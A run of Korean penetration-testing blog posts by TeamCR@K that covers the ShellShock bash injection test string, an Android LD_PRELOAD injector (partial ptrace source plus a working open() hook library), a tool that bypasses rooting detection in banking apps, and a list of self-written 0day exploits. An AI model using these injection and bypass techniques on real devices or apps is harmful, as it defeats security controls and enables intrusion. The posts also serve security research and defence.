CVE-2014-6271으로 알려진 ShellShock이 이슈화 되고 있는데, 간단한 내용을 알아보고자 합니다.


다음의 URL을 먼저 방문하시면 도움이 되실 것 같습니다.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/


테스트는 CentOS 6.3 64bit machine에서 진행하였습니다.


[그림 1] 취약한 bash 버전의 테스트 화면


위 테스트에서 기본적으로 다음과 같은 구문이 문제시 되는 것 같습니다.

env x='() { : ; } ; echo vulnerable'


쉘 스크립트 언어의 Syntax 측면에서 파싱 구조를 살펴보았을 때 '변수 x'에 할당하고 있는 값은 ' (single quotes) 가 시작해서 끝나는 지점까지를 해당 변수의 값으로 할당하여야 하지만, 특수 문자 파싱의 오류로 인하여 ';' 문자 뒤의 echo 구문이 쉘 스크립트의 실행 구문으로 실행되어 문제가 발생하는 것 같습니다.

즉, "echo vulnerable" 문자열은 콘솔 상 출력되지 않아야 할 "변수 x"의 값이어야 하나, 해당 문자열이 쉘 스크립트의 실행 영역으로 수행되면서 악의적인 명령어의 삽입이 가능합니다.


조금 더 자세한 구조를 알아보기 위해 ltrace를 사용해 보았습니다.

 

[그림 2] 변수 할당 영역을 벗어나 구문 실행 파싱 영역으로 수행되는 테스트 코드


[그림 3] 쉘 스크립트의 실행 구문 파싱 영역


해당 취약점은 패키지 업데이트로 해결할 수 있습니다.


[그림 4] bash 패키지 업데이트


현재 TeamCR@K은 더 상세한 내용을 위해 분석 중에 있으며, 분석이 완료되면 해당 내용을 다시 게시하도록 하겠습니다.


루팅된 Android 환경에서 특정 모바일 애플리케이션을 조작하는 방법은 크게 세가지 정도로 구분할 수 있습니다.


1. ptrace() 시스템 콜 사용

2. LD_PRELOAD 환경변수 사용

3. LKM (Loadable Kernel Module) 사용


다른 방법이 더 존재할지는 모르겠지만 크게 위와 같은 맥락에서 움직이고 있는 것 같습니다.

위 방법들 중에서 오늘은 LD_PRELOAD에 대해 조금 말씀드릴까 합니다.


Android 환경에서 애플리케이션이 실행될때에는 zygote라는 프로세스에 의해 apk파일이 로드되며 실행되는데, 이러한 zygote 프로세스는 전체적으로 애플리케이션의 권한 할당이나 프로세스 생성에 관여하게 됩니다.

zygote 프로세스는 애플리케이션이 실행되는 가장 기본적인 환경이므로 init (pid 1번 프로세스) 프로세스에 의해 관리되고 있으며, init 프로세스는 zygote 프로세스가 정상적인 동작을 하지 않거나 외부환경에 의해 동작을 멈추면 즉시 재시작하도록 되어있습니다.


init 프로세스는 부팅 초기에 init.rc 파일을 읽어들여 환경설정과 함께 zygote 프로세스를 생성하도록 수행합니다.

다음은 init.rc 파일의 일부분입니다.

...

> snip <

service zygote /system/bin/app_process -Xzygote /system/bin --zygote --start-sys

    class main

    socket zygote stream 660 root system

    onrestart write /sys/android_power/request_state wake

    onrestart write /sys/power/state on

    onrestart restart media

    onrestart restart netd

> snip <

...


zygote의 실제 실행프로그램은 /system/bin/app_process 이며, 옵션에 따라 zygote 프로세스 역할을 수행하는 것으로 보입니다.

zygote프로세스가 실행될 때 LD_PRELOAD 환경변수를 추가하여 실행되도록 하면 특정 라이브러리 함수들을 후킹하여 변조하는 기법이 존재하는데, 대부분 이를 위해 init.rc 파일을 수정하게 됩니다.

그러나 init.rc 파일을 수정하기 위해서는 boot 이미지파일의 압축해제, 수정 및 변조, 재 압축, boot 이미지파일 overwrite 등의 과정을 거쳐야 하므로, 귀찮은 작업이 될 수도 있습니다.

그래서 다른 방법이 없을까 고민해 보다가 다음과 같이 환경변수를 injection 하는 방법을 구상해보았습니다.


[그림 1] LD_PRELOAD injection


"zygote가 정상적인 실행상태가 아니면 init 프로세스에서 zygote 프로세스를 재 시작한다"는 점에 착안하여, 먼저 init 프로세스를 ptrace로 감지하면서 기존에 실행되고 있던 zygote 프로세스에 SIGKILL 시그널을 보냅니다.

그러면 zygote의 부모프로세스인 init 프로세스에서는 SIGCHLD 시그널을 받게 되고, zombie 프로세스가 되지 않도록 zygote가 사용하고 있던 리소스들을 kernel에 반환 후 zygote 프로세스의 재 시작 작업을 수행합니다.

zygote 프로세스의 재시작은 fork 시스템 콜을 수행하여 새로운 프로세스를 생성 한 후, execve 시스템 콜을 사용하여 zygote 바이너리를 실행하는 구조로 되어 있습니다.

바이너리 실행에 사용되는 execve 시스템 콜의 원형은 다음과 같습니다.


int execve(const char *filename, char *const argv[], char *const envp[]);


execve 시스템 콜의 3번째 인자가 envp라고 되어 있는데 바로 이 envp 인자가 실행되는 프로그램의 환경변수를 결정하게 됩니다.

따라서 zygote를 실행하기 위한 execve 시스템 콜 실행 직전에 LD_PRELOAD 환경변수를 injection한다면 zygote는 변조된 환경변수를 가진 상태에서 실행될 수 있습니다.

다음은 이러한 시나리오를 가지고 만든 injector 소스코드의 일부입니다.


/*

* god_daewoong.c

*

* Version: v1.0

* Date: 2014.09.10

*

* You can compile using gcc with -D option: -D_SO_PATH=\"${SO_PATH}\"

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <ctype.h>

#include <errno.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <linux/user.h>

#include <linux/ptrace.h>


#define EXTRA_ENVIRON   "LD_PRELOAD="_SO_PATH

#define ZYGOTE_PATH     "/system/bin/app_process"


long internal_ptrace(int, pid_t, void *, void *);

#define PTRACE(r,p,a,d) internal_ptrace(r,p,a,d)

#define SYSCALL_REGISTER(r) r.ARM_r7

#define IP_REGISTER(r) r.ARM_ip

#define RESULT_REGISTER(r) r.ARM_r0

#define ENV_REGISTER(r) r.ARM_r2


#define MAX_BUFFER_SIZE 1024

#define MAX_PROC_PID    65536


int init_pid = 1;


void sigint(int signo)

{

        fprintf(stdout, "[!] Received Ctrl+C signal.\n");

        if(init_pid != 0) {

                if(PTRACE(PTRACE_DETACH, init_pid, (void*)1, 0) < 0)

                        fprintf(stderr, "[!] PTRACE_DETACH error\n");

        }

        exit(0);

}


long internal_ptrace(int request, pid_t pid, void *addr, void *data)

{

        int ret, stat;


        errno = 0;


        while(1) {

                stat = 0;

                ret = waitpid(pid, &stat, WNOHANG);

                if((ret == pid && WIFEXITED(stat)) || (WIFSTOPPED(stat) && !WSTOPSIG(stat))) {

                        fprintf(stderr, "[!] Killed Process: %d\n", pid);

                        return -1;

                }

                if((ret = ptrace(request, pid, addr, data)) == -1) {

                        switch(request) {

                        case PTRACE_DETACH:

                        case PTRACE_SYSCALL:

                        case PTRACE_KILL:

                                return 0;

                        default:

                        break;

                        }

                } else {

                        break;

                }

        }

        return ret;

}

int doPunchLine(void)
{
        struct pt_regs regs;
        siginfo_t sig;
        int zygote_path_check = 0;
        char buf[128];
        int i, ret = -1;
        int zygote = 0;

        fprintf(stdout, "[*] Get the zygote pid..... ");
        if((zygote = get_zygote_pid()) < 0) {
                fprintf(stdout, "failed\n");
                return -1;
        }
        fprintf(stdout, "%d\n", zygote);

        if(PTRACE(PTRACE_ATTACH, init_pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_ATTACH error\n");
                return -1;
        }

        fprintf(stdout, "[*] Attached the init process successfully: %d\n", init_pid);

        kill(zygote, SIGKILL);
        fprintf(stdout, "[*] Sending a SIGKILL signal to zygote\n");

        // XXX: tracing...
        while(1) {
....
> snip <
...
        }

failed:
        if(PTRACE(PTRACE_DETACH, init_pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_DETACH error\n");
        }

        return ret;
}

int get_zygote_pid(void)
{
        char fname[64];
        char status[64];
        int i, zygote_pid;
        FILE *fp = NULL;

        zygote_pid = -1;

        for(i = 0; i < MAX_PROC_PID; i++) {
                snprintf(fname, sizeof(fname), "/proc/%d/status", i);
                if((fp = fopen(fname, "r")) == NULL)
                        continue;
                if(fgets(status, sizeof(status), fp) != NULL) {
                        if(strstr(status, "zygote") != NULL) {
                                zygote_pid = i;
                                fclose(fp);
                                break;
                        }
                }
                fclose(fp);
        }
        return zygote_pid;
}

int HerpoongIs0Per(int pid)
{
        void *environ, *mem, *sp, *init_sp, *data;
        int text, j, newdata, empty = 0;
        const char *add = EXTRA_ENVIRON;
        struct pt_regs regs;

        if(PTRACE(PTRACE_ATTACH, pid, (void*)1, 0) < 0) {
                fprintf(stderr, "[!] PTRACE_ATTACH error\n");
                return -1;
        }

        // XXX: Finding execve() syscall
        while(1) {
                if(PTRACE(PTRACE_GETREGS, pid, 0, &regs) < 0) {
                        fprintf(stderr, "[!] PTRACE_GETREGS error\n");
                        goto failed;
                }

                // XXX: execve() sys-call number is '11'
                if(SYSCALL_REGISTER(regs) == 11 && IP_REGISTER(regs) == 0) {
                        environ = (void*)ENV_REGISTER(regs);
                        fprintf(stdout, "[*] Environ: %p\n", environ);
                        break;
                }
                if(PTRACE(PTRACE_SYSCALL, pid, (void*)1, 0) < 0) {
                        fprintf(stderr, "[!] PTRACE_SYSCALL error\n");
                        goto failed;
                }

        }
...
> snip <
...
        if(PTRACE(PTRACE_DETACH, pid, NULL, NULL) < 0) {
                fprintf(stderr, "[!] PTRACE_DETACH error\n");
        }
failed:
        return 0;
}


int main(void)
{
        int new_zygote;

        signal(SIGINT, sigint);

        fprintf(stdout,
                "*****************************************************\n"
                "************ Android LD_PRELOAD Injector ************\n"
                "*****************************************************\n"
                "                Implemented by TeamCR@K in A3Security\n\n"
                "  Greetz to: 1ndr4, bash205, blpark, fr33p13, alrogia\n"
                "                              kgyoun4, maz3, rhaps0dy\n\n");

        if((new_zygote = doPunchLine()) != -1) {
                HerpoongIs0Per(new_zygote);
        }
        fprintf(stdout, "[*] Done\n");
        return 0;
}


악의적으로 사용될 수 있는 우려로 인해 전체 소스코드를 올리지 못하는 점 양해 부탁드립니다.

위 코드를 컴파일 하여 실행하면 다음과 같이 재시작된 zygote의 실행환경에서 특정 라이브러리가 적재되어 실행되는것을 볼 수 있습니다.


[그림 2] Injector 실행 전 zygote의 기본 환경변수


[그림 3] Injector 실행 후 재 시작된 zygote 프로세스에 적용된 LD_PRELOAD 환경변수


[그림 4] LD_PRELOAD에 의해 적재된 libopen.so 라이브러리가 정상적으로 동작한 화면


LD_PRELOAD로 로딩한 Shared Object의 소스코드는 다음과 같습니다.


/* libopen.c */

#include <stdio.h>

#include <stdlib.h>

#include <stdarg.h>

#include <unistd.h>

#include <dlfcn.h>


#define LIBC_PATH       "/system/lib/libc.so"

#define LOG_PATH        "/data/test/openhook.log"


static int (*orig_open)(const char *f, ...) = NULL;


int open(const char *f, ...)

{

        int fd = 0, flags = 0, mode = 0;

        void *dl = NULL;

        va_list args;

        FILE *fp = fopen(LOG_PATH, "a+");


        if(fp == NULL) fp = stdout;


        fprintf(fp, "[HOOK-LIB] Executed open() system call: %s\n", f);

        if((dl = dlopen(LIBC_PATH, RTLD_LAZY)) == NULL) {

                fprintf(fp, "[!] dlopen() function error.\n");

                return -1;

        }

        orig_open = dlsym(dl, "open");

        if(orig_open == NULL) {

                fprintf(fp, "[HOOK-LIB] dlsym() function error.\n");

                return -1;

        }

        va_start(args, f);

        flags = va_arg(args, int); // 2nd argument of open() syscall (flags)

        mode = va_arg(args, int); // 3rd argument of open() syscall (mode)

        va_end(args);

        if((fd = orig_open(f, flags, mode)) < 0) {

                fprintf(fp, "[HOOK-LIB] orig_open() function error: %s\n", f);

                return -1;

        }

        dlclose(dl);

        fclose(fp);

        return fd;

}


zygote 프로세스가 실행되는 시점에 환경변수를 추가하여 실행하는 형태의 인젝션 방식은 init.rc 파일을 손상시킬 우려가 없으며, 모바일 기기를 재시작하면 본래의 시스템 환경으로 동작하게 됩니다.

injector의 Full Source code를 올려드리지는 못하지만 특정 환경변수를 추가하여 zygote를 실행하도록 되어 있는 pre-compiled binary를 대신 올려드립니다.


god_daewoong-poc


위 바이너리를 실행하면 다음과 같이 특정이름의 환경변수가 추가되어 동작하는 zygote를 확인 하실 수 있습니다.


[그림 5] 테스트 injector 동작 화면


본 injector 프로그램은 루팅된 Android 버전에서 테스트 되었으며, 다음과 같은 디바이스 정보를 가진 기기에서 테스트 되었습니다.


[그림 6] 테스트 환경


감사합니다.

지난 9월 4일 목요일 저희 회사인 에이쓰리시큐리티에서 보안 전략 세미나 SMS 2014를 진행하였습니다.

너무나 많은 분들이 자리를 빛내주신 점에 대해 이 자리를 빌어 다시 한번 감사의 말씀을 드리고자 합니다.


저희 TeamCR@K에서는 "모바일 금융거래 애플리케이션의 보안대책 우회 기법"이라는 주제로 시연을 진행했었고, 이에 대해 기술적인 부분에서 조금 더 많은 내용을 공유해 볼까 합니다.


시연의 주제는 모바일 애플리케이션의 실행 흐름 조작을 통한 보안대책들을 우회하는 기법으로써 다음과 같은 내용을 준비하였습니다.


[그림 1] 임의의 시스템 콜을 사용한 모바일 앱 실행 플로우 변조



[그림 2] 임의의 함수 후킹을 통한 모바일 앱 실행 플로우 변조


임의의 시스템 콜을 사용하는 방법은 ptrace() 시스템 콜을 사용하여 특정 시스템 콜의 실행 전 인자 정보 조작이나 실행 후 반환 값 조작을 통해 모바일 앱 실행에 조작을 가하는 방법을 의미합니다.

임의의 함수 후킹을 통한 방법으로는 LD_PRELOAD 환경 변수를 init 프로세스에 적용하여 특정 라이브러리의 함수 로직에 대해 조작을 가하는 방법입니다.

일반적으로 시스템 콜이라는 단어와 함수라는 단어를 혼재하여 사용하기도 하지만 개인적으로 시스템 콜이란 kernel에 직접 interrupt를 일으키는 구조이고 함수라는건 그보다 상위에 포진되어 라이브러리 형태로 존재하는 형태라고 생각하기에 구분지어 이야기 하도록 하겠습니다. 양해 부탁드립니다.


LD_PRELOAD에 대해서는 별도의 Shared Object를 제작하고 SSL-Strip을 구현하는 방법으로 시연하였습니다.

해당 환경변수를 이용한 프로그램 실행 로직의 조작방법은 이미 많이 알려져 있기에 별도로 추가적인 내용은 말씀드리도록 하지 않겠습니다.


ptrace() 시스템 콜을 사용하는 공격 기법의 경우 처음에는 "프로그램 및 디바이스 변조 탐지"를 우회하기 위한 목적으로 진행했던 내부 프로젝트였습니다.

그러나 시간이 흐르고 점점 프로젝트의 성향도 많은 케이스의 우회 방안을 포함하다 보니 툴 제작까지 하게 되었습니다.

아래는 해당 툴의 실행 모습입니다.


[그림 3] 안드로이드 애플리케이션 실행 변조 툴 (A.K.A ardb)


프로젝트 시작점 자체가 "프로그램 및 디바이스 변조 탐지"를 우회하기 위한 목적으로 시작되어서 툴 이름도 "Android Rooting Detection By Pass Tool" 입니다.

툴은 -p 옵션과 -f 옵션을 사용하도록 되어 있습니다.

-p 옵션은 package 이름을 인자로 받게 되며, -f 옵션은 일반 console 상에서 실행 할 프로그램 경로 정보를 인자로 받게 됩니다.

위의 경우 com.testbank 프로그램이 실행되면 이를 추적하고, fork() 시스템 콜 실행을 탐지하여 그 결과 값을 -1로 조작하도록 한 화면입니다.

루팅 탐지 케이스의 경우 특정 경로의 파일이 존재하거나 실행되는 경우를 루팅되었다고 판별하기도 하고, 탐지 루틴을 Shared Object 안에 구현 후 해당 Object의 내부 함수를 실행하여 판별하기도 합니다.

저희가 모의해킹 할 때에 이러한 여러 케이스들에 대항하기 위해 아예 변조시킬 Rule을 설정파일로 만들어 관리하기로 하였습니다.

다음은 설정파일의 내용입니다.


[그림 4] 툴 설정파일

설정파일의 지시자는 FUNCTION과 VETO 두 가지가 존재합니다.

FUNCTION 지시자의 경우 시스템 콜을 기준으로 변조 여부를 결정하며, VETO 지시자의 경우 문자열을 기준으로 처리합니다.

우선 첫번째 FUNCTION 지시자 설정은 fork 시스템 콜 실행 후  결과 레지스터를 -1로 변경한다  는 설정이고, 두번째 FUNCTION 지시자의 경우, execve 시스템 콜 실행 전 첫번째 인자의 주소값을 변경한다 는 설정입니다.

VETO 지시자의 경우는 인자 값에 /system/xbin/su 문자열을 예외처리 하는 내용들로 되어 있습니다.

앞으로 더 많은 모바일 애플리케이션 케이스를 진단하다 보면 Rule도 지속적으로 늘어 날 것 같습니다.

다음은 실행하며 남기는 로그 화면입니다.


[그림 5] 로그파일의 내용


툴을 실행할 때의 콘솔화면에서는 간략하게 탐지 된 내용만 출력되게 하고 실제 탐지되는 모든 내용은 로그파일에 남도록 구현하였습니다.

로깅 루틴을 구현하다 보니 strace 개발자가 존경스러워 집니다.

본 툴은 기본적으로 zygote 프로세스에서 fork() 시스템 콜을 지속적으로 추적하도록 되어있는데, 아래와 같은 형태로 구현이 되어 있습니다.


/*

* - Name: Zygote_Trace.c

* - Date: 2014.09.06

* Implemented by TeamCR@K in A3Security

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <ctype.h>

#include <errno.h>

#include <getopt.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <linux/user.h>

#include <linux/ptrace.h>


long internal_ptrace(int, pid_t, void *, void *);


#define ZYGOTE_NAME     "zygote"

#define MAX_PROC_PID    65536

#define PTRACE(r,p,a,d) internal_ptrace(r,p,a,d)

#define SYSCALL_REGISTER(r) r.ARM_r7

#define IP_REGISTER(r) r.ARM_ip

#define RESULT_REGISTER(r) r.ARM_r0


int zygote_pid;


void sigint(int signo)

{

        fprintf(stdout, "[!] Received INTERRUPT signal.\n");

        if(zygote_pid != 0) {

                if(PTRACE(PTRACE_DETACH, zygote_pid, (void*)1, 0) < 0)

                        fprintf(stderr, "[!] PTRACE_DETACH error\n");

        }

        exit(0);

}


int get_zygote_pid(void)

{

        char fname[64];

        char status[64];

        int i;

        FILE *fp = NULL;


        zygote_pid = -1;


        for(i = 0; i < MAX_PROC_PID; i++) {

                snprintf(fname, sizeof(fname), "/proc/%d/status", i);

                if((fp = fopen(fname, "r")) == NULL)

                        continue;

                if(fgets(status, sizeof(status), fp) != NULL) {

                        if(strstr(status, ZYGOTE_NAME) != NULL) {

                                zygote_pid = i;

                                fclose(fp);

                                break;

                        }

                }

                fclose(fp);

        }

        return zygote_pid;

}


long internal_ptrace(int request, pid_t pid, void *addr, void *data)

{

        int ret, stat;


        errno = 0;


        while(1) {

                ret = waitpid(pid, &stat, WNOHANG|WUNTRACED);

                if((ret == pid && WIFEXITED(stat)) || (WIFSTOPPED(stat) && !WSTOPSIG(stat))) {

                        fprintf(stderr, "[!] Killed Process: %d\n", pid);

                        return -1;

                }

                if((ret = ptrace(request, pid, addr, data)) == -1) {

                        switch(request) {

                        case PTRACE_DETACH:

                        case PTRACE_SYSCALL:

                        case PTRACE_KILL:

                                return 0;

                        default:

                        break;

                        }

                } else {

                        break;

                }

        }

        return ret;

}


int do_trace_zygote(void)

{

        struct pt_regs regs;


        if(PTRACE(PTRACE_ATTACH, zygote_pid, (void*)1, 0) < 0) {

                fprintf(stderr, "[!] PTRACE_ATTACH error\n");

                return -1;

        }


        fprintf(stdout, "[*] Attached the zygote process successfully: %d\n", zygote_pid);


        // XXX: tracing...

        while(1) {

                if(PTRACE(PTRACE_GETREGS, zygote_pid, 0, &regs) < 0) {

                        fprintf(stderr, "[!] PTRACE_GETREGS error\n");

                        goto failed;

                }


                // XXX: fork()'s system call number is '2'

                if(SYSCALL_REGISTER(regs) == 2 && IP_REGISTER(regs) == 1) {

                        fprintf(stdout, "[*] Created a new process from zygote successfully: %ld\n", RESULT_REGISTER(regs));

                }

                if(PTRACE(PTRACE_SYSCALL, zygote_pid, (void*)1, 0) < 0) {

                        fprintf(stderr, "[!] PTRACE_SYSCALL error\n");

                        goto failed;

                }

        }


failed:

        if(PTRACE(PTRACE_DETACH, zygote_pid, (void*)1, 0) < 0) {

                fprintf(stderr, "[!] PTRACE_DETACH error\n");

        }


        return -1; // it always return -1

}


int main(void)

{

        signal(SIGINT, sigint);


        fprintf(stdout, "[- ZYGOTE TRACING -]\n");

        if(get_zygote_pid() < 0) {

                fprintf(stderr, "[!] Could not find process id of zygote\n");

                return -1;

        }

        do_trace_zygote();

        fprintf(stdout, "[*] Done\n");

        return 0;

}


위 소스코드를 컴파일 한 후 실행하면 아래와 같이 zygote에서 fork 되는 프로세스 정보를 실시간으로 얻어올 수 있습니다.


[그림 6] Zygote에서 실행되는 fork를 실시간으로 탐지하는 예제 프로그램


처음 "루팅 탐지 우회"에서 출발한 툴 제작이 조금 비대해진 느낌입니다.

GCC가 GNU C Compiler 였다가 이제는 GNU Compiler Collection이라고 명칭을 바꾼 것 처럼 이제는 저희가 제작한 툴 이름도 바꿔야 될 것 같기도 합니다....

이상 안드로이드 스마트 폰 삽질기였습니다..


읽어주셔서 감사합니다..

모의해킹에 대한 단상

CR@K 이야기 2014. 7. 29. 15:59 Posted by TEAMCR@K

찌는 듯한 여름이 지속되고 있습니다~

비가 와도 그다지 시원하지는 않고 눅눅하기만 한 상태가 지속되고 있네요...

하지만 TeamCR@K은 이런 외압(?)에 굴하지 않고 열심히 모의해킹 프로젝트에 매진하고 있습니다.


요즘에는 모의해킹과 취약점 점검/진단이라는 단어가 서로 뒤죽박죽 되는 형국입니다.

취약점 점검 및 진단은 말 그대로 정해진 대상에 대해 점검을 하는 형태이지만, 모의해킹은 조금 더 넓은 개념으로 보고 있습니다.

쉽게 이야기 해서 특정 취약점을 점검 할 수 있는 몇 가지 케이스를 기준으로 취약점 존재 여부를 판별하는 것은 점검 및 진단이며,

모의해킹은 특정 시나리오를 기반으로 출발하여 취약점 공격 패턴에 대해 차단되는 공격을 우회하는 등의 행위들을 포함합니다. 


이러한 모의해킹 프로젝트에 투입되어 일을 하다 보면 인터넷에 퍼져있는 형태의 작업이 아닌 개인 스킬이 요구되는 작업들이 필요할 때가 있습니다.


모의해킹 프로젝트 수행 중 어떤 분께서 이런 말씀을 하셨습니다.


"실제 해커가 공격하는 형태로 진행을 해 주셨으면 좋겠다.."




네...

이런 부탁..

저희 참 좋아합니다.. ^^;;

TeamCR@K은 모의해킹 팀이고 그런 것들이 좋아서 지금 이 자리에 있는 것 아닐까요? ^^


사내에서 사용하고 있는 백신 프로그램이 있고, 또한 매 분기마다 보안에 대한 교육을 실시하고 있지만 내부 보안관리에 대해 지속적으로 걱정하시는 것 같았습니다.

어떤 방식이 제일 좋을까 생각하던 도중 기존 C&C 공격을 약간 응용해 보기로 하였습니다.





그리하여 다음과 같은 프로그램을 제작하였습니다.


(1) 임의의 명령어 정보 얻기


(2) 명령어 실행 결과 기록 (Local PC)


(3) 명령어 실행 결과 전송



이렇게 만들어 놓고 보니 개인용 백신의 일반적인 악성코드 검사에서는 탐지가 불가능합니다.


많이 알려진 악성코드의 경우 시간이 지날수록 수집된 데이터에 따라 악성코드로 분류될 확률이 높아지겠지만

특정 타겟을 위한 APT 공격용 악성코드나 알려지지 않은 악성코드 패턴이 존재 할 수도 있기 때문에 인터넷 사용자들은 자신의 PC를 안전하게 지키기 위해 더욱 주의를 기울여야 할 것 같습니다.


한 여름에 건강 잘 챙기시고 자신의 PC의 보안도 잘 챙기시는 블로그 구독자 여러분이 되셨으면 좋겠습니다!~












날씨가 점점 더워지고 있습니다~

요즘 사무실 내부에서는 에어컨을 풀가동 시키고 있네요.

날씨도 더운데 일하랴 개인연구 하랴 바쁜 가운데 2013년 상반기의 TeamCR@K 내부 활동 정리해 보았습니다~


2013년 상반기에는 각종 프로젝트가 끊이지 않아서 개인 연구나 기타 공동 연구작업이 원활치 않았습니다.

그 와중에도 개인시간을 내어 버그헌팅을 하고 exploit 제작을 하거나, 프로젝트에 투입 중간에도 솔루션의 취약점을 찾아 0day exploit을 만든적도 있었습니다.


다음은 저희 TeamCR@K에서 금년 2013년 상반기 버그헌팅 및 0day exploit 작성과 관련한 내역을 정리한 것입니다.


Date 

Exploit Name 

Classification 

 Summary

 2013.02.22

 DoubleQuarterPounderCheese-130222.c

 0day

 Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit

 2013.05.24

 XE-LFI-1day_fr33p13.py

 1day

 Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)

 2013.05.31

 ********-insecure_file_creation.pl

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.05.31

 ********-symlink_follow.sh

 0day

 Local root exploit ${PROTECTED_COMMAND} command in ${PROTECTED_SOLUTION}

 2013.06.10

 hurse.sh

 0day

 Remote Command execution exploit ${PROTECTED_COMMAND} in ${PROTECTED_SOLUTION}

 2013.06.11

 -

 0day

 Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


* Buffalo TeraStation TS5800D Command Injection Vulnerability Exploit


Buffalo에서 만든 TeraStation이라는 NAS 서버에서 취약점을 발견하여 이를 자동화 하는 exploit을 구현했었습니다.

NAS라는 내부장비에서 root 권한의 명령어를 실행 할 수 있는 취약점으로 버그헌팅 당시 NAS 솔루션의 외부 침입 위험을 진단하는 관점보다는 스마트폰의 Jail Break와 같은 관점으로 버그헌팅을 시작했었습니다.


exploit 이름이 DoubleQuarterPounderCheese.c 인 이유는 exploit 작성 당시.. 야식으로 맥**드의 버거를 먹었다는 후문이... ^^;


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/365


* Zeroboard XE Local File Inclusion Vulnerability (From KISA, 2013.05.13)


2013년 5월 13일 KISA 홈페이지를 통해 Zeroboard XE 관련 LFI 취약점에 대해 패치권고가 올라왔었습니다.

당시 TeamCR@K 김모군(fr33p13)은 패치된 코드를 디핑하여 취약점 내용을 구현하는 테스트를 진행했었습니다.

어찌어찌해서 웹 쉘을 올리는 코드가 실행되고 이에 대해 파이썬으로 자동화 exploit을 구현까지 했었네요.


본 취약점과 관련해서는 다음 URL에서 상세한 내용을 확인 할 수 있습니다.


http://teamcrak.tistory.com/369


* Multiple Vulnerabilities in SOLUTION


본 내용은 모의해킹 수행 중 발견한 솔루션 0day 취약점으로 Local privilege escalation 취약점 2종과 Remote command execution 취약점 1종을 발견하고, 이와 관련하여 exploit을 작성 및 별도의 보고서를 고객사로 송부하였습니다.





원격명령실행 취약점과 관련한 exploit은 초기 이름이 hurse.sh 였는데..

동일 프로젝트에 소속된 정모군과 박모군이 이미 권한상승취약점에 대한 exploit을 작성하고 난 이후..

정모군曰 "오! 이거 될 것 같다. 오늘 내가 이거 원격 명령 실행 취약점 나오면 exploit한다"고 했더니..

이 말을 들은 박모군이 이랬답니다.



허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬! 허세 작렬!


...

그 말에 빡친 정모군은 후일 hurse.sh라고 이름 붙인 exploit을 팀원 모두에게 공유했는데 나중에 박모군은 "허세 아닌 패기"라며 발뺌했다고 하네요!


Unix/Linux 서버용 daemon을 만들고 이를 유지보수 할 때에는 여러모로 보안에 신경써야 하는 부분이 많습니다.

특히 Port를 열고 통신을 하는 daemon의 경우 보안취약점이 존재할 경우 해당 취약점을 자동으로 공격하는 스크립트로 대량의 서버접근권한을 탈취당할 수 있고 이런 서버들은 불법적인 공격에 이용당할 수 있습니다.

솔루션의 경우에는 정식 빌드 이전이나 정식 서비스 오픈 이전, 이러한 보안취약점들을 사전에 차단할 수 있도록 보안성검토와 같은 작업을 통해 보안취약점들을 걸러낼 수 있습니다.


* Buffalo TeraStation TS5800D Remote Command Execution Vulnerability


해당 취약점은 아직 exploit까지는 만들어지지 않았지만 SSL 통신을 하는 NAS의 특정 바이너리 형태를 그대로 소스코드로 복원하여 root 권한의 명령어를 실행시킬 수 있는 취약점이라고 합니다. 자세한 사항은 추후 exploit을 작성 한 후 블로그에 올리도록 하겠습니다.


프로젝트로 심신이 고달픈 가운데 개인연구에 힘 쓰는 TeamCR@K 멤버들이 있네요.

날씨도 더운데 몸 상하지 않게 오래오래 같이 연구했으면 좋겠습니다~

Creating hashes on the Apple OS X

CR@K 이야기 2013. 4. 25. 18:05 Posted by TEAMCR@K

저희 TeamCR@K 사무실 한 곳에서 조용하게 자리잡고 있는 식구 하나가 있습니다.


이름하야 Mac Pro...




한동안 너무 바빠 신경 써 주지 못했던 OS X에게 새로운 역할을 줘 보았습니다.

기존 레인보우 테이블에 해시를 생성하던 일을 OS X에서 해 보려고 하는데요.

해시 생성 코드는 리눅스 기반으로 만들고 테스트 했던지라 BSD 유틸 기반인 OS X에서도 잘 동작하리라 생각합니다.


OS X에서 포팅을 준비하면서 테스트코드 하나를 컴파일 해 봤습니다.


#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


int main(void)

{

        char buf[1024];


        bzero(buf, sizeof(buf));

        strcpy(buf, "test!\n");

        fprintf(stdout, "%s", buf);

        return 0;

}


컴파일 시도 결과 다음과 같은 메세지를 출력하는군요.



보통 리눅스 시스템에서 사용하는 C컴파일러 명령으로는 gcc가 있는데 유닉스 환경과 호환성을 위해 cc 명령으로 심볼릭 링크를 생성해 놓습니다.

OS X 콘솔 터미널에서 컴파일 테스트를 하던 도중 무의식적으로 cc 명령을 사용했는데 gcc 명령과는 다른 Warning 구문을 출력해 주네요.

cc 명령을 사용한 결과에서 함수 원형이 선언되어 있지 않아 출력되는 경고 구문에 대해서는 일반 gcc 결과와 다를게 없었습니다.

그러나 잘 살펴보면 다음 두 가지에 변화가 있다는 것 을 알 수 있습니다.


1. 소스코드 내에서 함수 원형이 선언되어 있지 않은 함수에 대해 기본 시스템 헤더파일들 중 같은 이름으로 선언된 함수의 원형을 출력


2. note 태그를 사용하여 참조된 기본 시스템 헤더파일 정보를 출력


cc 명령의 결과 형태가 XCode IDE에 활용되는지는 아직 잘 모르겠습니다.

그러나 기본 gcc 경고구문보다는 진일보 된 경고구문이 아닐까 생각해봅니다.


cc 명령 결과 형태에 깜짝놀라 이야기가 잠시 딴 곳으로 샜습니다만..

여차저차해서 컴파일을 마무리 했습니다.


만들어져 있던 레인보우 테이블에서 일반 평문에 비해 해시 데이터가 많이 부족하기 때문에 지금 실행하는 프로그램에서 평문 데이터 저장을 잠시 미루도록 했습니다.



